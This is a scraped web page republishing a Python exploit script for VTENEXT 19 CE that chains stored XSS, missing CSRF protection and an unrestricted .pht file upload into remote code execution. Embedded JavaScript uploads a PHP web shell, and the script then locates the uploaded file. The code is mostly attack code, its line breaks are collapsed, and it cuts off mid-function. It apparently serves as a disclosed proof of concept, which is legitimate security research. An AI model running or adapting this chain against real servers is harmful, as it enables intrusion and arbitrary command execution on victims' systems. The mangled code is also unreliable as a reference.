VTENEXT 19 CE – Remote Code Execution – Digitalmunition




Exploit/Advisories 1597662358_spider-orange.png

Published on September 11th, 2020 📆 | 1520 Views ⚑

0

VTENEXT 19 CE – Remote Code Execution

[*]

[*]#!/usr/bin/python3

# Exploit Title: VTENEXT 19 CE - Remote Code Execution
# Google Dork: n/a
# Date: 2020/09/09
# Exploit Author: Marco Ruela
# Vendor Homepage: https://www.vtenext.com/en/
# Software Link: Vendor removed vulnerable version from sourceforge.net
# Version: 19 CE
# Tested on: Ubuntu 16.04
# CVE : N/A

# 2020/03/07 - Disclosed vulnerabilities to vendor
# 2020/03/10 - Vendor committed to fix
# 2020/09/09 - Public disclosure

# This script should be easy enough to follow.
# We string together the three vulnerabilities to get RCE.

# XSS - The "From" field of the VTENEXT Messages module is vulnerable.
# File Upload - File extensions are checked against a $upload_badext in the config file, .pht extensions are allowed and executable by default .
# CSRF - No CSRF protections in place.

# exploit.js needs to be hosted somewhere, IP's need to be replaced
# check_csrf() should be changed based on your setup
# run_shell() is a "nice to have"

# content of exploit.js
"""
function insertImage() {
var xhr = new XMLHttpRequest();
xhr.open('POST','http://192.168.226.168/vtenext19ce/index.php?module=Myfiles&action=MyfilesAjax&file=UploadFile&folderid=&uniqueid=',true);
xhr.setRequestHeader('Content-type','multipart/form-data; boundary=---------------------------rekt');
xhr.setRequestHeader('Content-Length', '248');
xhr.setRequestHeader('Referer', 'http://172.16.233.146/vtenext19ce/index.php');
xhr.withCredentials = true;
var body = '-----------------------------rektnContent-Disposition: form-data; name="file_0"; filename="shell.pht"nContent-Type: text/textnn< ?php system($_GET['x']); ?>nn-----------------------------rekt--';

var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); }insertImage(); """import smtplib import datetime import requests import os import timebase_url = "http://192.168.226.168/vtenext19ce/"print("[*] CVE-2020-10227, CVE-2020-10228, CVE-2020-10229 - POC")def build_url(): d = datetime.datetime.today() year = str(d.year) month = str(d.strftime("%B")) week = "week" + str(d.isocalendar()[1] - d.replace(day=1).isocalendar()[1]) tmp = base_url + "storage/home/1/" + year + "/" + month + "/" + week + "/" return(tmp)def build_mail(): _from = """'




  • Now Trending Topics

  • Members

  • Tag Cloud

  • Categories